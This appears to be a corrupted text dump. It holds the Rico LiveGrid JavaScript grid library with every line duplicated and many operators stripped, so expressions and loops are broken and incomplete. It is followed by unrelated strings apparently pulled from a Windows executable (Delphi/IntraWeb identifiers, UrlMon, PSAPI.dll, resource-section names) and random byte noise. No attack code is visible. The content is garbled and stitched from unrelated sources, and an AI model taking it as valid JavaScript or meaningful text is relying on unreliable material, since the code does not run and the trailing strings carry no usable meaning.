var trs = rowsElement.getElementsByTagName("tr");
var trs = rowsElement.getElementsByTagName("tr");
for ( var i=0 ; i
for ( var i=0 ; i
var cells = trs[i].getElementsByTagName("td");
var cells = trs[i].getElementsByTagName("td");
for ( var j=0; j
for ( var j=0; j
var convertSpaces = cell.getAttribute("convert_spaces") == "true";
var convertSpaces = cell.getAttribute("convert_spaces") == "true";
var cellContent = RicoUtil.getContentAsString(cell);
var cellContent = RicoUtil.getContentAsString(cell);
row[j] = convertSpaces ? this.convertSpaces(cellContent) : cellContent;
row[j] = convertSpaces ? this.convertSpaces(cellContent) : cellContent;
var newRows = this.loadRows(ajaxResponse);
var newRows = this.loadRows(ajaxResponse);
if (this.rows.length == 0) { // initial load
if (this.rows.length == 0) { // initial load
this.rows = newRows;
this.rows = newRows;
this.size = this.rows.length;
this.size = this.rows.length;
this.startPos = start;
this.startPos = start;
if (start > this.startPos) { //appending
if (start > this.startPos) { //appending
if (this.startPos this.rows.length
if (this.startPos this.rows.length
this.rows = newRows;
this.rows = newRows;
this.startPos = start;//
this.startPos = start;//
this.rows = this.rows.concat( newRows.slice(0, newRows.length));
this.rows = this.rows.concat( newRows.slice(0, newRows.length));
if (this.rows.length > this.maxBufferSize) {
if (this.rows.length > this.maxBufferSize) {
var fullSize = this.rows.length;
var fullSize = this.rows.length;
this.rows = this.rows.slice(this.rows.length - this.maxBufferSize, this.rows.length)
this.rows = this.rows.slice(this.rows.length - this.maxBufferSize, this.rows.length)
this.startPos = this.startPos (fullSize - this.rows.length);
this.startPos = this.startPos (fullSize - this.rows.length);
if (start newRows.length
if (start newRows.length
this.rows = newRows.slice(0, this.startPos).concat(this.rows);
this.rows = newRows.slice(0, this.startPos).concat(this.rows);
if (this.rows.length > this.maxBufferSize)
if (this.rows.length > this.maxBufferSize)
this.rows = this.rows.slice(0, this.maxBufferSize)
this.rows = this.rows.slice(0, this.maxBufferSize)
this.startPos = start;
this.startPos = start;
this.size = this.rows.length;
this.size = this.rows.length;
this.size = 0;
this.size = 0;
return ((start
return ((start
return (position >= this.startPos) && (position this.metaData.getPageSize()
return (position >= this.startPos) && (position this.metaData.getPageSize()
//&& this.size() != 0;
//&& this.size() != 0;
return position - this.startPos
return position - this.startPos
return this.startPos this.rows.length;
return this.startPos this.rows.length;
return this.endPos() - (position this.metaData.getPageSize())
return this.endPos() - (position this.metaData.getPageSize())
return this.startPos == 0;
return this.startPos == 0;
return this.endPos() == this.metaData.getTotalRows();
return this.endPos() == this.metaData.getTotalRows();
return ( !this.isAtTop() && this.isNearingTopLimit(position)) ||
return ( !this.isAtTop() && this.isNearingTopLimit(position)) ||
( !this.isAtBottom() && this.isNearingBottomLimit(position) )
( !this.isAtBottom() && this.isNearingBottomLimit(position) )
var adjustedOffset = this.getFetchOffset(offset);
var adjustedOffset = this.getFetchOffset(offset);
if (adjustedOffset >= this.startPos) { //apending
if (adjustedOffset >= this.startPos) { //apending
var endFetchOffset = this.maxFetchSize adjustedOffset;
var endFetchOffset = this.maxFetchSize adjustedOffset;
if (endFetchOffset > this.metaData.totalRows)
if (endFetchOffset > this.metaData.totalRows)
endFetchOffset = this.metaData.totalRows;
endFetchOffset = this.metaData.totalRows;
if(adjustedOffset == 0 && adjustedSize
if(adjustedOffset == 0 && adjustedSize
adjustedSize = this.maxFetchSize;
adjustedSize = this.maxFetchSize;
var adjustedSize = this.startPos - adjustedOffset;
var adjustedSize = this.startPos - adjustedOffset;
if (adjustedSize > this.maxFetchSize)
if (adjustedSize > this.maxFetchSize)
adjustedSize = this.maxFetchSize;
adjustedSize = this.maxFetchSize;
if (offset > this.startPos) //apending
if (offset > this.startPos) //apending
adjustedOffset = (offset > this.endPos()) ? offset : this.endPos();
adjustedOffset = (offset > this.endPos()) ? offset : this.endPos();
if (offset this.maxFetchSize >= this.startPos) {
if (offset this.maxFetchSize >= this.startPos) {
var adjustedOffset = this.startPos - this.maxFetchSize;
var adjustedOffset = this.startPos - this.maxFetchSize;
this.lastOffset = adjustedOffset;
this.lastOffset = adjustedOffset;
var begPos = start - this.startPos
var begPos = start - this.startPos
if ( endPos > this.size )
if ( endPos > this.size )
endPos = this.size
endPos = this.size
results[index ] = this.rows[i]
results[index ] = this.rows[i]
return s.split(" ").join("Â ");
return s.split(" ").join("Â ");
//Rico.GridViewPort --------------------------------------------------
//Rico.GridViewPort --------------------------------------------------
Rico.GridViewPort = Class.create();
Rico.GridViewPort = Class.create();
Rico.GridViewPort.prototype = {
Rico.GridViewPort.prototype = {
this.lastDisplayedStartPos = 0;
this.lastDisplayedStartPos = 0;
this.div = table.parentNode;
this.div = table.parentNode;
this.table = table
this.table = table
this.rowHeight = rowHeight;
this.rowHeight = rowHeight;
this.div.style.height = (this.rowHeight * visibleRows) "px";
this.div.style.height = (this.rowHeight * visibleRows) "px";
this.div.style.overflow = "hidden";
this.div.style.overflow = "hidden";
this.buffer = buffer;
this.buffer = buffer;
this.visibleRows = visibleRows 1;
this.visibleRows = visibleRows 1;
this.lastPixelOffset = 0;
this.lastPixelOffset = 0;
for (var j=0; j
for (var j=0; j
htmlRow.cells[j].innerHTML = row[j]
htmlRow.cells[j].innerHTML = row[j]
this.refreshContents( parseInt(this.lastPixelOffset / this.rowHeight));
this.refreshContents( parseInt(this.lastPixelOffset / this.rowHeight));
if (!this.isBlank) {
if (!this.isBlank) {
this.liveGrid.table.className = this.liveGrid.options.loadingClass;
this.liveGrid.table.className = this.liveGrid.options.loadingClass;
for (var i=0; i
for (var i=0; i
this.populateRow(this.table.rows[i], this.buffer.getBlankRow());
this.populateRow(this.table.rows[i], this.buffer.getBlankRow());
this.isBlank = true;
this.isBlank = true;
this.clearRows();
this.clearRows();
this.scrollTo(0);
this.scrollTo(0);
this.lastStartPos = -1;
this.lastStartPos = -1;
if (startPos == this.lastRowPos && !this.isPartialBlank && !this.isBlank) {
if (startPos == this.lastRowPos && !this.isPartialBlank && !this.isBlank) {
if ((startPos this.visibleRows
if ((startPos this.visibleRows
|| (this.buffer.startPos this.buffer.size
|| (this.buffer.startPos this.buffer.size
|| (this.buffer.size == 0)) {
|| (this.buffer.size == 0)) {
this.clearRows();
this.clearRows();
this.isBlank = false;
this.isBlank = false;
var viewPrecedesBuffer = this.buffer.startPos > startPos
var viewPrecedesBuffer = this.buffer.startPos > startPos
var contentStartPos = viewPrecedesBuffer ? this.buffer.startPos: startPos;
var contentStartPos = viewPrecedesBuffer ? this.buffer.startPos: startPos;
var contentEndPos = (this.buffer.startPos this.buffer.size
var contentEndPos = (this.buffer.startPos this.buffer.size
? this.buffer.startPos this.buffer.size
? this.buffer.startPos this.buffer.size
: startPos this.visibleRows;
: startPos this.visibleRows;
var rows = this.buffer.getRows(contentStartPos, rowSize );
var rows = this.buffer.getRows(contentStartPos, rowSize );
var blankSize = this.visibleRows - rowSize;
var blankSize = this.visibleRows - rowSize;
for (var i=0; i
for (var i=0; i
this.populateRow(this.table.rows[i contentOffset], rows[i]);
this.populateRow(this.table.rows[i contentOffset], rows[i]);
this.populateRow(this.table.rows[i blankOffset], this.buffer.getBlankRow());
this.populateRow(this.table.rows[i blankOffset], this.buffer.getBlankRow());
this.isPartialBlank = blankSize > 0;
this.isPartialBlank = blankSize > 0;
this.lastRowPos = startPos;
this.lastRowPos = startPos;
this.liveGrid.table.className = this.liveGrid.options.tableClass;
this.liveGrid.table.className = this.liveGrid.options.tableClass;
var onRefreshComplete = this.liveGrid.options.onRefreshComplete;
var onRefreshComplete = this.liveGrid.options.onRefreshComplete;
if (this.lastPixelOffset == pixelOffset)
if (this.lastPixelOffset == pixelOffset)
this.refreshContents(parseInt(pixelOffset / this.rowHeight))
this.refreshContents(parseInt(pixelOffset / this.rowHeight))
this.div.scrollTop = pixelOffset % this.rowHeight
this.div.scrollTop = pixelOffset % this.rowHeight
this.lastPixelOffset = pixelOffset;
this.lastPixelOffset = pixelOffset;
return parseInt(RicoUtil.getElementsComputedStyle(this.div, 'height'));
return parseInt(RicoUtil.getElementsComputedStyle(this.div, 'height'));
Rico.LiveGridRequest = Class.create();
Rico.LiveGridRequest = Class.create();
Rico.LiveGridRequest.prototype = {
Rico.LiveGridRequest.prototype = {
this.requestOffset = requestOffset;
this.requestOffset = requestOffset;
// Rico.LiveGrid -----------------------------------------------------
// Rico.LiveGrid -----------------------------------------------------
Rico.LiveGrid = Class.create();
Rico.LiveGrid = Class.create();
Rico.LiveGrid.prototype = {
Rico.LiveGrid.prototype = {
initialize: function( tableId, visibleRows, totalRows, url, options, ajaxOptions ) {
initialize: function( tableId, visibleRows, totalRows, url, options, ajaxOptions ) {
tableClass: $(tableId).className,
tableClass: $(tableId).className,
loadingClass: $(tableId).className,
loadingClass: $(tableId).className,
sortAscendImg: 'images/sort_asc.gif',
sortAscendImg: 'images/sort_asc.gif',
sortDescendImg: 'images/sort_desc.gif',
sortDescendImg: 'images/sort_desc.gif',
ajaxSortURLParms: [],
ajaxSortURLParms: [],
this.ajaxOptions = {parameters: null};
this.ajaxOptions = {parameters: null};
Object.extend(this.ajaxOptions, ajaxOptions || {});
Object.extend(this.ajaxOptions, ajaxOptions || {});
this.tableId = tableId;
this.tableId = tableId;
this.table = $(tableId);
this.table = $(tableId);
this.addLiveGridHtml();
this.addLiveGridHtml();
var columnCount = this.table.rows[0].cells.length;
var columnCount = this.table.rows[0].cells.length;
this.metaData = new Rico.LiveGridMetaData(visibleRows, totalRows, columnCount, options);
this.metaData = new Rico.LiveGridMetaData(visibleRows, totalRows, columnCount, options);
this.buffer = new Rico.LiveGridBuffer(this.metaData);
this.buffer = new Rico.LiveGridBuffer(this.metaData);
var rowCount = this.table.rows.length;
var rowCount = this.table.rows.length;
this.viewPort = new Rico.GridViewPort(this.table,
this.viewPort = new Rico.GridViewPort(this.table,
this.table.offsetHeight/rowCount,
this.table.offsetHeight/rowCount,
this.buffer, this);
this.buffer, this);
this.scroller = new Rico.LiveGridScroller(this,this.viewPort);
this.scroller = new Rico.LiveGridScroller(this,this.viewPort);
this.options.sortHandler = this.sortHandler.bind(this);
this.options.sortHandler = this.sortHandler.bind(this);
this.sort = new Rico.LiveGridSort(tableId '_header', this.options)
this.sort = new Rico.LiveGridSort(tableId '_header', this.options)
this.processingRequest = null;
this.processingRequest = null;
this.unprocessedRequest = null;
this.unprocessedRequest = null;
this.initAjax(url);
this.initAjax(url);
if ( this.options.prefetchBuffer || this.options.prefetchOffset > 0) {
if ( this.options.prefetchBuffer || this.options.prefetchOffset > 0) {
if (this.options.offset ) {
if (this.options.offset ) {
offset = this.options.offset;
offset = this.options.offset;
this.scroller.moveScroll(offset);
this.scroller.moveScroll(offset);
this.viewPort.scrollTo(this.scroller.rowToPixel(offset));
this.viewPort.scrollTo(this.scroller.rowToPixel(offset));
if (this.options.sortCol) {
if (this.options.sortCol) {
this.sortCol = options.sortCol;
this.sortCol = options.sortCol;
this.sortDir = options.sortDir;
this.sortDir = options.sortDir;
this.requestContentRefresh(offset);
this.requestContentRefresh(offset);
if (this.table.getElementsByTagName("thead").length > 0){
if (this.table.getElementsByTagName("thead").length > 0){
// Create Table this.tableId '_header'
// Create Table this.tableId '_header'
var tableHeader = this.table.cloneNode(true);
var tableHeader = this.table.cloneNode(true);
tableHeader.setAttribute('id', this.tableId '_header');
tableHeader.setAttribute('id', this.tableId '_header');
tableHeader.setAttribute('class', this.table.className '_header');
tableHeader.setAttribute('class', this.table.className '_header');
for( var i = 0; i
for( var i = 0; i
tableHeader.removeChild(tableHeader.tBodies[i]);
tableHeader.removeChild(tableHeader.tBodies[i]);
this.table.deleteTHead();
this.table.deleteTHead();
this.table.parentNode.insertBefore(tableHeader,this.table);
this.table.parentNode.insertBefore(tableHeader,this.table);
new Insertion.Before(this.table, "
");new Insertion.Before(this.table, "
");this.table.previousSibling.appendChild(this.table);
this.table.previousSibling.appendChild(this.table);
new Insertion.Before(this.table,"
");new Insertion.Before(this.table,"
");this.scroller.moveScroll(0);
this.scroller.moveScroll(0);
this.buffer.clear();
this.buffer.clear();
this.viewPort.clearContents();
this.viewPort.clearContents();
this.sortCol = column.name;
this.sortCol = column.name;
this.sortDir = column.currentSort;
this.sortDir = column.currentSort;
this.resetContents();
this.resetContents();
this.requestContentRefresh(0)
this.requestContentRefresh(0)
this.metaData.setTotalRows(newTotalRows);
this.metaData.setTotalRows(newTotalRows);
this.scroller.updateSize();
this.scroller.updateSize();
initAjax: function(url) {
initAjax: function(url) {
ajaxEngine.registerRequest( this.tableId '_request', url );
ajaxEngine.registerRequest( this.tableId '_request', url );
ajaxEngine.registerAjaxObject( this.tableId '_updater', this );
ajaxEngine.registerAjaxObject( this.tableId '_updater', this );
this.processQueuedRequest();
this.processQueuedRequest();
if ( this.buffer.isInRange(offset) &&
if ( this.buffer.isInRange(offset) &&
!this.buffer.isNearingLimit(offset)) {
!this.buffer.isNearingLimit(offset)) {
if (this.processingRequest) {
if (this.processingRequest) {
this.unprocessedRequest = new Rico.LiveGridRequest(offset);
this.unprocessedRequest = new Rico.LiveGridRequest(offset);
var bufferStartPos = this.buffer.getFetchOffset(offset);
var bufferStartPos = this.buffer.getFetchOffset(offset);
this.processingRequest = new Rico.LiveGridRequest(offset);
this.processingRequest = new Rico.LiveGridRequest(offset);
this.processingRequest.bufferOffset = bufferStartPos;
this.processingRequest.bufferOffset = bufferStartPos;
var fetchSize = this.buffer.getFetchSize(offset);
var fetchSize = this.buffer.getFetchSize(offset);
if (this.options.requestParameters)
if (this.options.requestParameters)
queryString = this._createQueryString(this.options.requestParameters, 0);
queryString = this._createQueryString(this.options.requestParameters, 0);
queryString = queryString 'id=' this.tableId '&page_size=' fetchSize '&offset=' bufferStartPos;
queryString = queryString 'id=' this.tableId '&page_size=' fetchSize '&offset=' bufferStartPos;
if (this.sortCol)
if (this.sortCol)
queryString = queryString '&sort_col=' escape(this.sortCol) '&sort_dir=' this.sortDir;
queryString = queryString '&sort_col=' escape(this.sortCol) '&sort_dir=' this.sortDir;
this.ajaxOptions.parameters = queryString;
this.ajaxOptions.parameters = queryString;
ajaxEngine.sendRequest( this.tableId '_request', this.ajaxOptions );
ajaxEngine.sendRequest( this.tableId '_request', this.ajaxOptions );
this.timeoutHandler = setTimeout( this.handleTimedOut.bind(this), this.options.bufferTimeout);
this.timeoutHandler = setTimeout( this.handleTimedOut.bind(this), this.options.bufferTimeout);
this.options.requestParameters = [];
this.options.requestParameters = [];
for ( var i=0 ; i
for ( var i=0 ; i
this.options.requestParameters[i] = arguments[i];
this.options.requestParameters[i] = arguments[i];
this.fetchBuffer(contentOffset);
this.fetchBuffer(contentOffset);
clearTimeout( this.timeoutHandler );
clearTimeout( this.timeoutHandler );
this.buffer.update(ajaxResponse,this.processingRequest.bufferOffset);
this.buffer.update(ajaxResponse,this.processingRequest.bufferOffset);
this.viewPort.bufferChanged();
this.viewPort.bufferChanged();
finally {this.processingRequest = null; }
finally {this.processingRequest = null; }
if (this.unprocessedRequest != null) {
if (this.unprocessedRequest != null) {
this.requestContentRefresh(this.unprocessedRequest.requestOffset);
this.requestContentRefresh(this.unprocessedRequest.requestOffset);
this.unprocessedRequest = null
this.unprocessedRequest = null
//-------------------- ricoLiveGridSort.js
//-------------------- ricoLiveGridSort.js
Rico.LiveGridSort = Class.create();
Rico.LiveGridSort = Class.create();
Rico.LiveGridSort.prototype = {
Rico.LiveGridSort.prototype = {
this.headerTableId = headerTableId;
this.headerTableId = headerTableId;
this.headerTable = $(headerTableId);
this.headerTable = $(headerTableId);
this.options = options;
this.options = options;
this.setOptions();
this.setOptions();
this.applySortBehavior();
this.applySortBehavior();
if ( this.options.sortCol ) {
if ( this.options.sortCol ) {
this.setSortUI( this.options.sortCol, this.options.sortDir );
this.setSortUI( this.options.sortCol, this.options.sortDir );
var cols = this.options.columns;
var cols = this.options.columns;
for ( var i = 0 ; i
for ( var i = 0 ; i
if ( cols[i].name == columnName ) {
if ( cols[i].name == columnName ) {
this.setColumnSort(i, sortDirection);
this.setColumnSort(i, sortDirection);
new Image().src = this.options.sortAscendImg;
new Image().src = this.options.sortAscendImg;
new Image().src = this.options.sortDescendImg;
new Image().src = this.options.sortDescendImg;
this.sort = this.options.sortHandler;
this.sort = this.options.sortHandler;
if ( !this.options.columns )
if ( !this.options.columns )
this.options.columns = this.introspectForColumnInfo();
this.options.columns = this.introspectForColumnInfo();
// allow client to pass { columns: [ ["a", true], ["b", false] ] }
// allow client to pass { columns: [ ["a", true], ["b", false] ] }
// and convert to an array of Rico.TableColumn objs...
// and convert to an array of Rico.TableColumn objs...
this.options.columns = this.convertToTableColumns(this.options.columns);
this.options.columns = this.convertToTableColumns(this.options.columns);
var headerRow = this.headerTable.rows[0];
var headerRow = this.headerTable.rows[0];
var headerCells = headerRow.cells;
var headerCells = headerRow.cells;
for ( var i = 0 ; i
for ( var i = 0 ; i
this.addSortBehaviorToColumn( i, headerCells[i] );
this.addSortBehaviorToColumn( i, headerCells[i] );
if ( this.options.columns[n].isSortable() ) {
if ( this.options.columns[n].isSortable() ) {
cell.id = this.headerTableId '_' n;
cell.id = this.headerTableId '_' n;
cell.style.cursor = 'pointer';
cell.style.cursor = 'pointer';
cell.onclick = this.headerCellClicked.bindAsEventListener(this);
cell.onclick = this.headerCellClicked.bindAsEventListener(this);
cell.innerHTML = cell.innerHTML ''
cell.innerHTML = cell.innerHTML ''
var eventTarget = evt.target ? evt.target : evt.srcElement;
var eventTarget = evt.target ? evt.target : evt.srcElement;
var cellId = eventTarget.id;
var cellId = eventTarget.id;
var columnNumber = parseInt(cellId.substring( cellId.lastIndexOf('_') 1 ));
var columnNumber = parseInt(cellId.substring( cellId.lastIndexOf('_') 1 ));
var sortedColumnIndex = this.getSortedColumnIndex();
var sortedColumnIndex = this.getSortedColumnIndex();
this.removeColumnSort(sortedColumnIndex);
this.removeColumnSort(sortedColumnIndex);
this.setColumnSort(columnNumber, Rico.TableColumn.SORT_ASC);
this.setColumnSort(columnNumber, Rico.TableColumn.SORT_ASC);
this.toggleColumnSort(sortedColumnIndex);
this.toggleColumnSort(sortedColumnIndex);
this.setColumnSort(columnNumber, Rico.TableColumn.SORT_ASC);
this.setColumnSort(columnNumber, Rico.TableColumn.SORT_ASC);
if (this.options.sortHandler) {
if (this.options.sortHandler) {
this.options.sortHandler(this.options.columns[columnNumber]);
this.options.sortHandler(this.options.columns[columnNumber]);
this.options.columns[n].setUnsorted();
this.options.columns[n].setUnsorted();
this.setSortImage(n);
this.setSortImage(n);
this.options.columns[n].setSorted(direction);
this.options.columns[n].setSorted(direction);
this.options.columns[n].toggleSort();
this.options.columns[n].toggleSort();
var sortDirection = this.options.columns[n].getSortDirection();
var sortDirection = this.options.columns[n].getSortDirection();
var sortImageSpan = $( this.headerTableId '_img_' n );
var sortImageSpan = $( this.headerTableId '_img_' n );
if ( sortDirection == Rico.TableColumn.UNSORTED )
if ( sortDirection == Rico.TableColumn.UNSORTED )
sortImageSpan.innerHTML = 'Â Â ';
sortImageSpan.innerHTML = 'Â Â ';
else if ( sortDirection == Rico.TableColumn.SORT_ASC )
else if ( sortDirection == Rico.TableColumn.SORT_ASC )
sortImageSpan.innerHTML = 'Â Â
sortImageSpan.innerHTML = 'Â Â
'height="' this.options.sortImageHeight '" '
'height="' this.options.sortImageHeight '" '
'src="' this.options.sortAscendImg '"/>';
'src="' this.options.sortAscendImg '"/>';
else if ( sortDirection == Rico.TableColumn.SORT_DESC )
else if ( sortDirection == Rico.TableColumn.SORT_DESC )
'src="' this.options.sortDescendImg '"/>';
'src="' this.options.sortDescendImg '"/>';
if ( cols[i].isSorted() )
if ( cols[i].isSorted() )
for ( var i = 0 ; i
for ( var i = 0 ; i
columns.push( new Rico.TableColumn( this.deriveColumnNameFromCell(headerCells[i],i), true ) );
columns.push( new Rico.TableColumn( this.deriveColumnNameFromCell(headerCells[i],i), true ) );
for ( var i = 0 ; i
for ( var i = 0 ; i
columns.push( new Rico.TableColumn( cols[i][0], cols[i][1] ) );
columns.push( new Rico.TableColumn( cols[i][0], cols[i][1] ) );
var cellContent = cell.innerText != undefined ? cell.innerText : cell.textContent;
var cellContent = cell.innerText != undefined ? cell.innerText : cell.textContent;
return cellContent ? cellContent.toLowerCase().split(' ').join('_') : "col_" columnNumber;
return cellContent ? cellContent.toLowerCase().split(' ').join('_') : "col_" columnNumber;
Rico.TableColumn = Class.create();
Rico.TableColumn = Class.create();
Rico.TableColumn.UNSORTED = 0;
Rico.TableColumn.UNSORTED = 0;
Rico.TableColumn.SORT_ASC = "ASC";
Rico.TableColumn.SORT_ASC = "ASC";
Rico.TableColumn.SORT_DESC = "DESC";
Rico.TableColumn.SORT_DESC = "DESC";
Rico.TableColumn.prototype = {
Rico.TableColumn.prototype = {
this.name = name;
this.name = name;
this.sortable = sortable;
this.sortable = sortable;
this.currentSort = Rico.TableColumn.UNSORTED;
this.currentSort = Rico.TableColumn.UNSORTED;
return this.sortable;
return this.sortable;
return this.currentSort != Rico.TableColumn.UNSORTED;
return this.currentSort != Rico.TableColumn.UNSORTED;
return this.currentSort;
return this.currentSort;
if ( this.currentSort == Rico.TableColumn.UNSORTED || this.currentSort == Rico.TableColumn.SORT_DESC )
if ( this.currentSort == Rico.TableColumn.UNSORTED || this.currentSort == Rico.TableColumn.SORT_DESC )
this.currentSort = Rico.TableColumn.SORT_ASC;
this.currentSort = Rico.TableColumn.SORT_ASC;
else if ( this.currentSort == Rico.TableColumn.SORT_ASC )
else if ( this.currentSort == Rico.TableColumn.SORT_ASC )
this.currentSort = Rico.TableColumn.SORT_DESC;
this.currentSort = Rico.TableColumn.SORT_DESC;
this.setSorted(Rico.TableColumn.UNSORTED);
this.setSorted(Rico.TableColumn.UNSORTED);
// direction must by one of Rico.TableColumn.UNSORTED, .SORT_ASC, or .SORT_DESC...
// direction must by one of Rico.TableColumn.UNSORTED, .SORT_ASC, or .SORT_DESC...
this.currentSort = direction;
this.currentSort = direction;
//-------------------- ricoUtil.js
//-------------------- ricoUtil.js
getElementsComputedStyle: function ( htmlElement, cssProperty, mozillaEquivalentCSS) {
getElementsComputedStyle: function ( htmlElement, cssProperty, mozillaEquivalentCSS) {
if ( arguments.length == 2 )
if ( arguments.length == 2 )
mozillaEquivalentCSS = cssProperty;
mozillaEquivalentCSS = cssProperty;
if ( el.currentStyle )
if ( el.currentStyle )
return el.currentStyle[cssProperty];
return el.currentStyle[cssProperty];
return document.defaultView.getComputedStyle(el, null).getPropertyValue(mozillaEquivalentCSS);
return document.defaultView.getComputedStyle(el, null).getPropertyValue(mozillaEquivalentCSS);
if (document.implementation && document.implementation.createDocument) {
if (document.implementation && document.implementation.createDocument) {
var doc = document.implementation.createDocument("", "", null);
var doc = document.implementation.createDocument("", "", null);
if (doc.readyState == null) {
if (doc.readyState == null) {
doc.readyState = 1;
doc.readyState = 1;
doc.addEventListener("load", function () {
doc.addEventListener("load", function () {
doc.readyState = 4;
doc.readyState = 4;
if (typeof doc.onreadystatechange == "function")
if (typeof doc.onreadystatechange == "function")
doc.onreadystatechange();
doc.onreadystatechange();
if (window.ActiveXObject)
if (window.ActiveXObject)
return Try.these(
return Try.these(
function() { return new ActiveXObject('MSXML2.DomDocument') },
function() { return new ActiveXObject('MSXML2.DomDocument') },
function() { return new ActiveXObject('Microsoft.DomDocument')},
function() { return new ActiveXObject('Microsoft.DomDocument')},
function() { return new ActiveXObject('MSXML.DomDocument') },
function() { return new ActiveXObject('MSXML.DomDocument') },
function() { return new ActiveXObject('MSXML3.DomDocument') }
function() { return new ActiveXObject('MSXML3.DomDocument') }
return parentNode.xml != undefined ?
return parentNode.xml != undefined ?
this._getContentAsStringMozilla(parentNode);
this._getContentAsStringMozilla(parentNode);
for ( var i = 0 ; i
for ( var i = 0 ; i
var n = parentNode.childNodes[i];
var n = parentNode.childNodes[i];
if (n.nodeType == 4) {
if (n.nodeType == 4) {
contentStr = n.nodeValue;
contentStr = n.nodeValue;
contentStr = n.xml;
contentStr = n.xml;
_getContentAsStringMozilla: function(parentNode) {
_getContentAsStringMozilla: function(parentNode) {
var n = parentNode.childNodes[i];
var n = parentNode.childNodes[i];
if (n.nodeType == 4) { // CDATA node
if (n.nodeType == 4) { // CDATA node
contentStr = n.nodeValue;
contentStr = n.nodeValue;
contentStr = xmlSerializer.serializeToString(n);
contentStr = xmlSerializer.serializeToString(n);
toViewportPosition: function(element) {
toViewportPosition: function(element) {
* Compute the elements position in terms of the window viewport
* Compute the elements position in terms of the window viewport
* offsetParent hierarchy, ...taking into account any scrollTop,
* offsetParent hierarchy, ...taking into account any scrollTop,
* IE has a bug reporting a correct offsetLeft of elements within a
* IE has a bug reporting a correct offsetLeft of elements within a
if ( navigator.userAgent.toLowerCase().indexOf("msie") == -1 )
if ( navigator.userAgent.toLowerCase().indexOf("msie") == -1 )
return this._toAbsoluteMozilla(element,accountForDocScroll);
return this._toAbsoluteMozilla(element,accountForDocScroll);
var borderXOffset = parseInt(this.getElementsComputedStyle(parent, "borderLeftWidth" ));
var borderXOffset = parseInt(this.getElementsComputedStyle(parent, "borderLeftWidth" ));
var borderYOffset = parseInt(this.getElementsComputedStyle(parent, "borderTopWidth" ));
var borderYOffset = parseInt(this.getElementsComputedStyle(parent, "borderTopWidth" ));
x = parent.offsetLeft - parent.scrollLeft borderXOffset;
x = parent.offsetLeft - parent.scrollLeft borderXOffset;
y = parent.offsetTop - parent.scrollTop borderYOffset;
y = parent.offsetTop - parent.scrollTop borderYOffset;
parent = parent.offsetParent;
parent = parent.offsetParent;
x -= this.docScrollLeft();
x -= this.docScrollLeft();
y -= this.docScrollTop();
y -= this.docScrollTop();
* Mozilla did not report all of the parents up the hierarchy via the
* Mozilla did not report all of the parents up the hierarchy via the
_toAbsoluteMozilla: function(element,accountForDocScroll) {
_toAbsoluteMozilla: function(element,accountForDocScroll) {
x = parent.offsetLeft;
x = parent.offsetLeft;
y = parent.offsetTop;
y = parent.offsetTop;
parent != document.body &&
parent != document.body &&
parent != document.documentElement ) {
parent != document.documentElement ) {
if ( parent.scrollLeft )
if ( parent.scrollLeft )
x -= parent.scrollLeft;
x -= parent.scrollLeft;
if ( parent.scrollTop )
if ( parent.scrollTop )
y -= parent.scrollTop;
y -= parent.scrollTop;
parent = parent.parentNode;
parent = parent.parentNode;
if ( window.pageXOffset )
if ( window.pageXOffset )
return window.pageXOffset;
return window.pageXOffset;
else if ( document.documentElement && document.documentElement.scrollLeft )
else if ( document.documentElement && document.documentElement.scrollLeft )
return document.documentElement.scrollLeft;
return document.documentElement.scrollLeft;
else if ( document.body )
else if ( document.body )
return document.body.scrollLeft;
return document.body.scrollLeft;
if ( window.pageYOffset )
if ( window.pageYOffset )
return window.pageYOffset;
return window.pageYOffset;
else if ( document.documentElement && document.documentElement.scrollTop )
else if ( document.documentElement && document.documentElement.scrollTop )
return document.documentElement.scrollTop;
return document.documentElement.scrollTop;
return document.body.scrollTop;
return document.body.scrollTop;
KWindows
KWindows
UrlMon
UrlMon
0IdHTTPHeaderInfo
0IdHTTPHeaderInfo
rSqlTimSt
rSqlTimSt
P.reloc
P.reloc
P.rsrc
P.rsrc
u%CNu
u%CNu
Uh.tA
Uh.tA
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
JumpID("","%s")
AutoHotkeysd
AutoHotkeysd
AutoHotkeys
AutoHotkeys
KeyPreviewX
KeyPreviewX
WindowState
WindowState
vcltest3.dll
vcltest3.dll
PSAPI.dll
PSAPI.dll
Error Restarting IntraWeb Application:
Error Restarting IntraWeb Application:
ReportEventA
ReportEventA
6)6/676
6)6/676
0 0$0(0,0004080
0 0$0(0,0004080
6 6$6(6,60646
6 6$6(6,60646
:":&:*:.:2:6:::
:":&:*:.:2:6:::
;"
;"
= =$=(=,=
= =$=(=,=
?ArcIWSMWebCommon
?ArcIWSMWebCommon
.rsrc
.rsrc
N%U5;
N%U5;
UdpG
UdpG
7of%C
7of%C
@; E.TML
@; E.TML
?.fAM
?.fAM
%U0!Us
%U0!Us
sn.nDQpP
sn.nDQpP
u1%S`
u1%S`
G]P.Mw
G]P.Mw
g!k%c'
g!k%c'
%UDNm
%UDNm
\C%c"N
\C%c"N
.=[
.=[
KWeb
KWeb
Q{ExecutBE
Q{ExecutBE
E.sNE
E.sNE
{.Ms[
{.Ms[
i.MsD
i.MsD
e!%S is
e!%S is
-tl'tf(t`ssss)tZ tT,tN.tHssss/tB:t
-tl'tf(t`ssss)tZ tT,tN.tHssss/tB:t
BP7H%C
BP7H%C
"Ì!0
"Ì!0
:.cqT
:.cqT
>~%d/)
>~%d/)
H.dJ.x
H.dJ.x
`H.dJ
`H.dJ
H xJ.dJ
H xJ.dJ
Ep.efu
Ep.efu
eG%D zY
eG%D zY
$ H.dJ.p
$ H.dJ.p
/ .dJ.@p
/ .dJ.@p
74dJ.dJ
74dJ.dJ
;,dJ.dX
;,dJ.dX
T4J.dJT
T4J.dJT
\$.dJN\P
\$.dJN\P
#^ ^HdJ.dl
#^ ^HdJ.dl
9yXydn%C
9yXydn%C
{PxJ.dJ
{PxJ.dJ
8dJ.dJ
8dJ.dJ
%soX-
%soX-
%s:sT
%s:sT
#O.Jh~
#O.Jh~
j ,%uA
j ,%uA
URLMON.
URLMON.
THTTP
THTTP
yUrl
yUrl
U$?%UQ
U$?%UQ
(%d);'
(%d);'
$%S2Ja
$%S2Ja
6P.%d
6P.%d
%U=GT
%U=GT
rBn|%CH
rBn|%CH
Msgv
Msgv
Keyfs
Keyfs
va.ab1x*
va.ab1x*
.AK;7
.AK;7
?0"$$/$'532#('-.&"'07/#2*4*%)
?0"$$/$'532#('-.&"'07/#2*4*%)
